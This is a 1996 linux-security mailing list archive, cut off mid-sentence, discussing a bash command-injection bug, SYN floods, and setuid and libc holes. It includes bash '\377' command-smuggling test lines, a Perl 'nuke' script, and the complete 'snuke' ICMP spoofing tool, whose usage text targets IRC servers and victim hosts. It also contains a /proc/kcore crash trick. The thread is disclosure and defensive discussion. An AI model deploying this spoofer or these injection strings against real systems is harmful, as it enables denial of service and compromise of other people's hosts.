[email protected] Precedence: list At 21:55 22/08/96 -0500, Runar Jensen wrote: >Someone mentioned that they were not able to reproduce the recent bash bug. >I tried the example mentioned in the alert with no luck, seemingly because >bash does not expand the '\377' construct. I then got a little creative and >tried the following: > >bash -c '`echo -e "ls\377who"`' > >This appeared to expand right, but would still only execute the 'ls'. For a [snip] Just to clarify this, the way I found that I _was_ vulnerable, was with this. NB copy the quoting exactly: bash -c "`/bin/echo 'ls -al\377who'`" However, note that the bit after the \377 is run the _next_ time you run the command, so you need to run it _twice_. Hopefully this will help people who incorrectly believe they are not vulnerable. Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... -------[ Do not think that every sad-eyed woman has loved and lost... ]------ -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. From [email protected] Mon Aug 26 06:52:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14269; Mon, 26 Aug 1996 06:52:42 -0400 From: Zoltan Hidvegi Message-Id: <[email protected]> Subject: Re: [linux-security] bash security hole To: [email protected] (Runar Jensen) Date: Mon, 26 Aug 1996 00:53:22 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from Runar Jensen at "Aug 22, 96 09:55:15 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Someone mentioned that they were not able to reproduce the recent bash bug. > I tried the example mentioned in the alert with no luck, seemingly because > bash does not expand the '\377' construct. I then got a little creative and > tried the following: > > bash -c '`echo -e "ls\377who"`' > > This appeared to expand right, but would still only execute the 'ls'. For a > moment I happily assumed that I wasn't vulnerable, but examining the source > showed that I *should* be, according to the alert. That test did not work because no expansion is performed on signle quoted text. Try bash -c "$(echo -e echo\\377who)". For some reason this worked only the second time I used it. When I do it from zsh using bash -c "$(echo echo\\0377who)" it always shows the bug. A sutable workaround is to get zsh-3.0.0 and link /bin/sh to zsh. Pdksh is an other alternative but it is less convinient for interactive use. Zoltan From [email protected] Mon Aug 26 06:52:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14283; Mon, 26 Aug 1996 06:52:55 -0400 From: thought Message-Id: <[email protected]> Subject: Re: [linux-security] syn floods To: [email protected] (Kit Knox) Date: Sun, 25 Aug 1996 11:35:16 -0700 (PDT) Cc: [email protected], [email protected] In-Reply-To: from "Kit Knox" at Aug 25, 96 09:04:29 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 558 Sender: [email protected] Precedence: list Kit Knox's thoughts were: | | Here is a script that I wrote to help combat syn floods. It requires the | use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the | fixing of syn floods on virtual interfaces and the such. | | (I apologize, its a perl script, but it works..) | If the IP addresses are forged (which they will be), this program will do no good... [REW: Moreover, it will bomb long-latency web browsers. time (seconds) 1 client -> server SYN 2 server -> client SYN ACK 3 client -> server ACK 4 client -> server "GET / HTTP/1.0\n\r\n\r" 5 server -> client " ,..." 6 client -> server ACK packet. 6.1 client -> server SYN (for img1) 6.2 client -> server SYN (for img2) 6.3 client -> server SYN (for img3) [ At this moment the script could trigger.] .... ] -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Mon Aug 26 06:53:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14300; Mon, 26 Aug 1996 06:53:05 -0400 Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) From: Stefan `Sec` Zehl To: [email protected] Date: Sun, 25 Aug 1996 23:45:20 +0200 (MESZ) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "[email protected]" at Aug 22, 96 05:10:55 pm X-URL: http://www.blafasel.de/~sec/ X-Nick: Sec X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Content-Length: 679 Message-Id: <96Aug25.234522+0100mesz.398539-222+4802@hphalle0.informatik.tu-muenchen.de> Sender: [email protected] Precedence: list [email protected] wrote: > > [REW: Just some source browsing found: > /* > * The IMMUTABLE and APPEND_ONLY flags can only be changed by > * the super user when the security level is zero. > */ > so it should in principle be secure.] > > Optimist. > Root can do anything she wants, also change kernel memory. > Don't know what it is with linux, but in securelevel>0 /dev/kmem would not be writable not even by root ... [REW: Agreed. However, some more source browsing revealed that e2fs is the only read-access to the securelevel variable. In short securelevel support is being started, but ABSOLUTELY NOT FINISHED!] CU, Sec -- Email: [email protected] WWW: http://www.blafasel.de/~sec/ Phone: 089/3618013 or 0177/2340515 IRC: Sec @ #blafasel FreeBSD RoX! From [email protected] Mon Aug 26 06:53:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14322; Mon, 26 Aug 1996 06:53:18 -0400 From: thought Message-Id: <[email protected]> Subject: Re: [linux-security] syn floods To: [email protected] (Kit Knox) Date: Sun, 25 Aug 1996 11:12:39 -0700 (PDT) Cc: [email protected], [email protected] In-Reply-To: from "Kit Knox" at Aug 25, 96 09:04:29 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 861 Sender: [email protected] Precedence: list Kit Knox's thoughts were: | I haven't seen cases of kernel crashes, just the listen() buffer is filled | up until the SYN's time out. I have. On 1.2.13 kernels (and prolly anything before-- dunno about 2.0.x) you can flood a host with 10 forged connection requests on every listening TCP port. This will in effect stop all TCP based network connectivity. The new issue of Phrack (due out by Monday) will have a complete discussion of this. | Here is a script that I wrote to help combat syn floods. It requires the | use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the | fixing of syn floods on virtual interfaces and the such. Hmmm... Interesting... -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Mon Aug 26 06:53:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14335; Mon, 26 Aug 1996 06:53:33 -0400 X-Authentication-Warning: irc.connectnet.com: kit owned process doing -bs Date: Sun, 25 Aug 1996 09:04:29 -0700 (PDT) From: Kit Knox To: thought cc: Sam Quigley , [email protected] Subject: Re: [linux-security] syn floods In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 24 Aug 1996, thought wrote: > [REW: As far as I understand SYN floods, you simply send lots of "SYN" > packets. This either causes a kernel crash or a denial of service. I haven't seen cases of kernel crashes, just the listen() buffer is filled up until the SYN's time out. > Userspace is only informed when three packets have been transmitted Well, actually on most systems including linux, proc will give you info that there is a connect sitting in the SYN_RECV state. > back and forth. Thus the kernel would need to be modified to do something > about it.] Here is a script that I wrote to help combat syn floods. It requires the use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the fixing of syn floods on virtual interfaces and the such. (I apologize, its a perl script, but it works..) [REW: It doesn't work for the "malicious" syn floods that do "IP++" between every packet that they send. It also bombs your web clients that try to open several connections at once. (1 false negative, 1 false positive) It is a start though.] #!/usr/local/bin/perl while(1) { system("netstat -an | grep SYN_RECV > netstat.out"); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); $syns{$fip} += 1; } close(f); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); # We have a sinner - repent, repent! if ($syns{$fip} >= 3) { # Fun! Nuke their ass! $lporth = $lport + 1; $lportl = $lport - 1; print "Nuking: $fip $fport $lip $lporth $lportl 3\n"; system("snuke $fip $fport $lip $lporth $lportl 3 > /dev/null"); } } close(f); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); $syns{$fip} = 0; } close(f); sleep(20); } (begin snuke.c) #include #include #include #include #include #include #include #include static int thecode; u_short cksum( u_short *, int ); void sendkill( char *, int, char *, int ); u_short cksum( u_short *buf, int nwords ) { unsigned long sum; for ( sum = 0; nwords > 0; nwords -- ) sum += *buf++; sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 ); return ~sum ; } void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /*it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't resolve address!!!"); exit(-1); } } /* all done. */ } #define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) + 8 ) #define ICMPSIZE ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 ) #define offsetTCP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) ) #define offsetIP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) ) #define offsetICMP ( sizeof( struct iphdr ) ) #define offsetRIP ( 0 ) void sendkill( char * fromhost, int fromport, char * tohost, int toport ) { char * packet; static struct sockaddr_in local, remote; static int sock = 0; if ( !sock ) { resolve_address( (struct sockaddr *)&local, fromhost, fromport ); resolve_address( (struct sockaddr *)&remote, tohost, toport ); sock = socket( AF_INET, SOCK_RAW, 255 ); if ( sock == -1 ) { perror("Getting raw socket"); exit(-1); } } /* . Get memory for the packet */ packet = (char *)malloc( PACKETSIZE ); if ( !packet ) { perror("Getting space for packet"); exit(-1); } /* . Fill in our pretended TCP header . note - since this was allegedly an outgoing packet... we have to . flip the source and destination stuff */ { struct tcphdr * fake_tcp; fake_tcp = ( struct tcphdr *)( packet + offsetTCP ); fake_tcp->th_dport = htons(fromport); fake_tcp->th_sport = htons(toport); fake_tcp->th_seq = 0x1984; } /* . fill in the fake IP header. . the same reversal as above still applies.. the packet was sent to . our machine ( yeah right ) */ { struct iphdr * fake_ip; fake_ip = ( struct iphdr *) ( packet + offsetIP ); /* these fields are irrelevant -- never checked?? */ fake_ip->version = 4; fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */ fake_ip->tos = 0; fake_ip->id = htons( getpid() & 255 ); fake_ip->frag_off = 0; fake_ip->ttl = 24; /* not so long to live anymore */ fake_ip->check = 3805; /* this CAN'T be checked..so do something != 0 */ /* these fields are used .. */ fake_ip->ihl = 5; bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) ); bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) ); fake_ip->protocol = 6; /* a TCP packet */ } /* . fill in the ICMP header . this is actally rather trivial, though don't forget the checksum */ { struct icmphdr * icmp; icmp = ( struct icmphdr *)(packet + offsetICMP ); icmp->type = 3; icmp->code = thecode; /* this will generate an error message */ icmp->un.gateway = 0; icmp->checksum = 0; icmp->checksum = cksum( (u_short *)(icmp), ICMPSIZE >> 1 ); } /* . finally, fill in the IP header . this is almost the same as above.. though this time, it is the . ip header that really takes the packet places. make sure the . checksum and addresses are right */ { struct iphdr * real_ip; real_ip = ( struct iphdr *)packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons(PACKETSIZE); real_ip->tos = ( 7 << 5) | 4; real_ip->ttl = 255; real_ip->protocol = 1; real_ip->check = 0; real_ip->id = htons( 3 ); real_ip->frag_off = 0; bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) ); bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) ); /* real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L ); */ real_ip->check = cksum( (u_short *)packet, sizeof( struct iphdr ) >> 1 ); } /* . . and now... finally... send it out into the net */ { int result; result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) ); if ( result != PACKETSIZE ) { perror("sending packet" ); } } } main( int argc, char ** argv ) { int i,codes ; if ( argc != 7 ) { puts("usage: \n\n#1: ATTACKING IRC SERVER\n source host = victim hostname\n source port = stats L\n target host = irc server\n target ports = IRC server port\ n Type = 3 or 2\n\n#2: ATTACKING VICTIM HOST\n source host = irc server\n source port = IRC server port\n target host = victim hostname\n target ports = stats L" ); exit(-1); } thecode = atoi(argv[6]); printf("using code %d \n", thecode ); if ( atoi(argv[5]) > atoi(argv[4]) ) { for ( i = atoi(argv[5]) ; i > atoi(argv[4]) ; i-- ) { printf("%d \n", i ); sendkill( argv[1], atoi(argv[2]), argv[3], i ); usleep(30000 ); } } else if ( atoi(argv[4]) > atoi(argv[5]) ) { for ( i = atoi(argv[5]) ; i < atoi(argv[4] ); i++ ) { printf("%d \n", i ); sendkill( argv[1], atoi(argv[2]), argv[3], i ); usleep(30000 ); } } else sendkill( argv[1], atoi(argv[2]), argv[3], i ); } ========================================================================= Kit Knox - - System Administrator CONNETnet INS, Inc. - 6370 Lusk Blvd Ste F#208 - San Diego, CA 92121 (619) 638-2020 - (619) 638-2024 Voicemail/Pager - (619) 450-3216 FAX ========================================================================= From [email protected] Mon Aug 26 06:54:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14366; Mon, 26 Aug 1996 06:54:02 -0400 Date: Sun, 25 Aug 1996 17:55:31 +0100 (GMT+0100) From: tHe CyberCOWz To: [email protected] Subject: [linux-security] pop3d minimal security bug Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello! popd coming in all the linux distribution, in general, any pop coming with the MBOX ... command, contain a minimal unsecurity! A privileged user like root can read the mailbox of another user simple by typing: USER root PASS ******* MBOX /var/spool/mail/ the major focus is for the server having only mailbox account. Suppose someone stole the root's password, even without login shell he can read any user's mailbox, from the net. [REW: Or normal users having just an pop account could read (parts of) publicly readable files. -- Just a little surprise to keep in mind if you ever need an airtight setup....] Ciao! linux-security/linux-security.960827100664 1767 1767 135451 6210540247 16703 0ustar majdommajdomFrom [email protected] Tue Aug 27 04:58:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA26104; Tue, 27 Aug 1996 04:58:21 -0400 X-Authentication-Warning: clark.net: proberts owned process doing -bs Date: Sun, 25 Aug 1996 08:41:47 -0400 (EDT) From: "Paul D. Robertson" To: infinity cc: [email protected], [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 22 Aug 1996, infinity wrote: > By very defintion of a SYN flood, the source address has to be > forged. This is simply not true. There is a particular combination of the SuperTCP PC stack and Netscape browser, for instance, that will, given the correct versions, SYN flood the hell out of your web server. In a malicious attack it would be stupid to SYN flood from your correct IP address, but it is certainly possible. Paul ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 From [email protected] Tue Aug 27 04:58:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA26120; Tue, 27 Aug 1996 04:58:57 -0400 Date: Mon, 26 Aug 1996 12:32:32 -0400 (EDT) From: Roscinante To: Linux-security Subject: [linux-security] sendmail w/o suid root? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I've been looking for info on a couple of things, which I haven't found: How to config sendmail so suid root isn't needed (will it run correctly if it's suid mail/sgid mail or bin?) And, how to configure inetd daemons as non-root? Are there any that MUST be suid root?? Any info 'preciated :) [REW: I doubt that you can configure sendmail to not need root. Telnet uses login to change the uid, so it needs the suid bit on login or it needs to be run as root itself. Suff like rshd, ftpd, rshd, rlogind, popd, will need to change the uid to the final user. They need root for that. I think finger should be run as nobody. I think imap is similar to popd. I think this covers just about all the services in MY inetd.conf, so there is very little room for improvement.] ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Tue Aug 27 04:59:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA26134; Tue, 27 Aug 1996 04:59:51 -0400 From: thought Message-Id: <[email protected]> Subject: [linux-security] SYN flooding (was inetd and denial-of-service) To: [email protected] (Ralph the Wonder Llama) Date: Sun, 25 Aug 1996 11:07:45 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Ralph the Wonder Llama" at Aug 25, 96 02:42:03 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2428 Sender: [email protected] Precedence: list Ralph the Wonder Llama's thoughts were: | > By very defintion of a SYN flood, the source address has to be | > forged. | | No offense, but dont you think that the definition of a syn flood is a | flood of syn packets? whocares if the source address is real. Although, | the only practical use of a syn flooder is one where the address is | forged :) True. I should have clarified that the only useful way to SYN flood a host's TCP is with forged source IP addresses. (Assuming you can find a purpose in which SYN flooding is usefull...;)) | why do I like the idea of a random address? It would be cool go get | flooded by 123.234.345.456 :) Yes but if it just drawn from a hat the host *could* be reachable. Besides, `123.234.345.456` will fail when you try to convert it into network-byte order...;) [REW: Most implementations will silently drop the higher bits in the 4 bytes of an IP address. 123.234.89.200 might just be valid.] | How does this meet his point. He is saying to hack up an inetd that if it | receives many tries from an given host or network, to turn on a filter | that disallows any incoming syn requests from being accepted, thus | denying this host/network but allowing other hosts/networks to function. | However, all this would do is cause the evil haxorer to need to change | the source address of his flood routine, but hey, its a start... Remember that the inetd (and TCPd) filters work after the completion of the 3-way handshake. SYN flooding only satisfies the first part of the 3-way handshake. I can deny TCP/23 with TCPd from all but trusted IP addresses. It can still be SYN flooded however. | > | > The best way to do this is in the kernel. Briefly: A list of | | Faster in the kernel perhaps. Better? I dont know. I'd rather have my | kernel pass the packets to the application and have the application | decide how to work (the application in question would be something like | xinetd or tcp wrappers). Doing all this trickery in the kernel sounds See above. | dangerous, ie, memory problems (buffer exhaustion, and/or possible buffer | attacks) since the packets have to spend more time and be stored in the | memory, and perhaps even be stored in parts of memory that would be | trusted (like I said, possible buffer attack). This is a moot point. If it is coded well, this is not a problem. -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Tue Aug 27 05:00:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26148; Tue, 27 Aug 1996 05:00:00 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] vulnerability in splitvt To: [email protected] (Stunt Pope) Date: Mon, 26 Aug 1996 15:31:43 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Stunt Pope" at Aug 25, 96 09:32:09 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > This may or may not have been reported already. I only > found out about this list _after_ I had been hacked :< This is old - and I think an announcement of this bug was even posted to comp.os.linux.announce. The exploit's called "eggplant", and while I don't have a copy handy I'm sure half a dozen people will mail it to you. Basically it writes past the end of a buffer on the stack in splitvt; this corrupts a function return address and lets the included code (which is what's used to fill up the buffer) execute. That code does, more or less, setuid(0); execl("/bin/sh", "/bin/sh", NULL). -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Tue Aug 27 05:00:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26173; Tue, 27 Aug 1996 05:00:27 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] RESOLV_HOST_CONF To: [email protected] (Jordy) Date: Mon, 26 Aug 1996 19:46:31 +0100 (BST) Cc: [email protected] In-Reply-To: from "Jordy" at Aug 25, 96 00:48:46 am Content-Type: text Sender: [email protected] Precedence: list > # export RESOLV_HOST_CONF=/proc/kcore > # ping life is a challage hack it up > > which is known to make a machine go boom. Can't duplicate. > Real Patch isn't really available yet, from what i can see. You can modify > the souce to the resolv+ library and make it setuid(getuid()) first, but > that would break if /etc/resolv.conf wasn't working right, or you could > simply remove the RESOLV_HOST_CONF variable completely. Inadequate. The trim bug is just as bad news. > are affected include Slackware 2.0, 2.1, 3.0, 3.1, Redhat 2.0 and 3.0.3 > picasso. Are you sure about RedHat. Its linked with NYS, which is a bit different to generic libc5. > linked. The version in the shared library is being called. Slackware 3.0 > uses libc.so.5.0.9, while picasso has libc.so.5.2.18 . Is this the > significant difference?] 5.2.18 has a different but closely related set of holes. From [email protected] Tue Aug 27 05:00:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26187; Tue, 27 Aug 1996 05:00:42 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Re: RESOLV_HOST_CONF To: [email protected] (Joshua Cowan) Date: Mon, 26 Aug 1996 16:07:18 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Joshua Cowan" at Aug 25, 96 09:42:45 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > DB> seems to be a step needs to be taken back so we can look at a > DB> fundamental problem with *all* setuid programs: they blithely > > AFAIK, a POSIX.6 implementation for Linux is still being developed. > This is the best solution, IMHO (and this situation is a good example of > why POSIX.6 is a Good Thing). POSIX.6 wouldn't do a damn thing for this situation. Sure, ping wouldn't have privilege to read the file. Guess what? Sendmail does. All it would do is make it take longer for the problem to be detected. I don't really want to restart this flamewar (see the kernel list archives from January), but there is not a silver bullet for security, and even if there were, the POSIX.6 design wouldn't be it. [REW: I would give sendmail the "access to write mailboxes", "permission to bind to priviliged ports" and "right to execute programs as another uid". Does it need more? Agreed, it might be harder to actually find the bugs if almost all are rendered invulnerable through other means.] -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Tue Aug 27 05:00:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26200; Tue, 27 Aug 1996 05:00:58 -0400 Date: Mon, 26 Aug 1996 16:55:00 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: [email protected] cc: infinity , [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 25 Aug 1996, Racer X wrote: > On Thu, 22 Aug 1996, infinity wrote: > > > | >From the sources I have seen for SYN-flooders, they generally forge the > > | source address. One style is to generate random source addresses, the > > > > By very defintion of a SYN flood, the source address has to be > > forged. > > No, it doesn't. Any hacker with any intelligence will forge it, but it > doesn't HAVE to be forged. if it is not forged, it will not have the disired effect of locking the victim up. You will get into a syn/syn|ack/rst flood, which when completed will leave the victim perfectly normal. > > > | other is to take a user-specified address. A way around the first style > > | is this: > > > > A randomly generated source address would be a horrible idea. You > > have a better than even chance of generating one that is reachable. > > I'm not following you. First off, why would a randomly generated address > be a horrible idea? Why any worse than (say) the IP for > www.whitehouse.gov? And better than even? I don't think so. Not when > you consider that class A nets 57-126 are all "reserved", as are a bunch > of others. They would not use www.whitehouse.gov, because those syn packets would be reset. > > > | If the max number of connects per unit time is passed, stop the server > > | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on > > | that port. Any that can't be reversed should be immediately dropped. > > > > A host may have DNS entries and still be unreachable (and vice > > versa). > > That's not my point. The point is, if they DO have DNS entries, they are > much more likely to be legit than if they don't. Everyone, EVERYONE, > should be running DNS and have reverse maps. We (and lots of other > people) don't allow connects from hosts that can't be reversed. If they forge the ip of a host with reverse dns, but not up - what have you done? Absolutely nothing. [REW: Moreover you can expect to have to wait for up to 60 seconds for a reverse DNS lookup to work.... Some don't really understand networking it seems. I once found a site that had 65000 namserver entries. And only a few tens of them were up-and-reachable. It seems they put all IP numbers in the nameserver so that they wouldn't have to modify the nameserver if they assign an IP number to a computer. Neat eh?] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - H. Truman From [email protected] Tue Aug 27 05:02:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26254; Tue, 27 Aug 1996 05:02:24 -0400 Message-Id: <[email protected]> To: [email protected] Subject: Kevin Littlejohn: Re: [linux-security] Re: RESOLV_HOST_CONF Date: Mon, 26 Aug 1996 18:35:23 PDT From: Daniel Bromberg Sender: [email protected] Precedence: list ------- Forwarded Message Received: (from darius@localhost) by vector.wantree.com.au (8.7.5/8.6.9) id JAA32291 for [email protected]; Tue, 27 Aug 1996 09:12:36 +0800 From: Kevin Littlejohn Message-Id: <[email protected]> Subject: Re: [linux-security] Re: RESOLV_HOST_CONF To: [email protected] (Daniel Bromberg) Date: Tue, 27 Aug 1996 09:12:36 +0800 (WST) In-Reply-To: <[email protected]> from "Daniel Bromberg" at Aug 25, 96 05:46:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Just a quick query: after panicking slightly yesterday, I sat down and had a trawl through source code.... Seems the problem exists in libc, in, ummm... inet/gethstnmad.c, a big section that looks for environment variables and overrides the defaults if they exist. Would it make sense to simply comment this whole section out? Surely, there should be no real need (in any average configuration) to allow people to change the location of configuration files, etc.? If that's so, then I'm in a position of getting this libc code to compile *sigh* If that's not so, could someone point out why before I do irreperable harm to my system? :) KevinL [REW: Why not make it conditional on (getuid () == geteuid ()) ? This is what I'd consider a valid fix.] ------- End of Forwarded Message From [email protected] Tue Aug 27 05:02:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26267; Tue, 27 Aug 1996 05:02:33 -0400 Date: Tue, 27 Aug 1996 10:58:31 +1000 (EST) From: Keith Owens To: Daniel Bromberg cc: Joshua Cowan , [email protected] Subject: Re: [linux-security] Re: RESOLV_HOST_CONF In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 25 Aug 1996, Daniel Bromberg wrote: > I propose a blanket solution: have the kernel manipulate the > environment passed to the setuid program in a safe manner. [snip] > > [REW: The kernel is not equipped to mess with environment variables. > The kernel can't really go about reading config files. > Originally "environment variables" was a userlevel hack. I don't think > that this is a good solution. It prohibits general solutions. How about the best of both worlds. kernel detects suid/sgid programs and, instead of running them directly, starts a trusted wrapper program. The wrapper reads its configuration files (not the kernel), decides if the user can run the program, changes environment, selects libraries, logs the use etc. then finally runs the target program. The equivalent of TCP wrappers for sensitive binaries. [REW: You don't need the kernel to detect this. If you want this behaviour, you can remove all the s-bits on your system and instead install a wrapper in their place(*). It can then do all the things you want before executing the original program...... This is then again a setuid program which nees to be reasonably secure..... (*) chmod -s sendmail; mv sendmail sendmail.orig; ln -s wrapper sendmail] From [email protected] Tue Aug 27 05:02:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26281; Tue, 27 Aug 1996 05:02:42 -0400 Message-Id: In-Reply-To: <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 26 Aug 1996 20:19:14 -0400 To: [email protected] From: Rob Hagopian Subject: Re: [linux-security] vulnerability in splitvt Sender: [email protected] Precedence: list >There is a vulnerability in the program splitvt that bundles >with linux slackware that allows any account on the system >that can access a c compiler, get root. >From the man page: splitvt can be made set-uid root. splitvt will reset its user id to that of the person running it, just before it exec()'s the shell under the window. The splitvt process remains with root permissions, and will change ownership of the pseudo terminals to that of the person running splitvt, and then reset it to root when the window is closed. SPLITVT IS NOT GUARANTEED TO BE A SAFE SET-UID PROGRAM! I have done all I know to keep splitvt a safely usable set-uid program, but I do not know everything, and am not responsible for any security weaknesses splitvt might posess. I have changed our splitvt to a simple non-suid executable. This provides almost no change in features as far as I can tell. The manual doesn't say much about why it needs to be suid root, except for the following: splitvt will attempt to 